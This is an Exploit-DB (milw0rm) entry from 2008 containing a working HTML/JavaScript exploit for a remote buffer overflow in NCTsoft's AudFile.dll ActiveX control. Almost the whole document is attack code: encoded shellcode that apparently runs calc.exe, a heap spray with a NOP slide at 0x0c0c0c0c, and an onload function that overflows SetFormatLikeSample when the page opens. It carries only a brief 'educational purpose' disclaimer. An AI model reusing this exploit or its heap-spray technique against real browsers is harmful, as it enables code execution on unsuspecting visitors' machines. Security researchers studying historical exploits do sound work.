NCTsoft - 'AudFile.dll' ActiveX Control Remote Buffer Overflow

EDB-ID:

6175

CVE:

N/A

Author:

shinnai

Type:

remote

Platform:

Windows

Published:

2008-07-31

-----------------------------------------------------------------------------
 NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow
 url: http://www.nctsoft.com 

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
-----------------------------------------------------------------------------
<html>
 <script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 5200;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.SetFormatLikeSample (x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" codebase="http://shinnai.net/AudFile.dll">
   Unable to create object
  </object>
 </body>
</html>

# milw0rm.com [2008-07-31]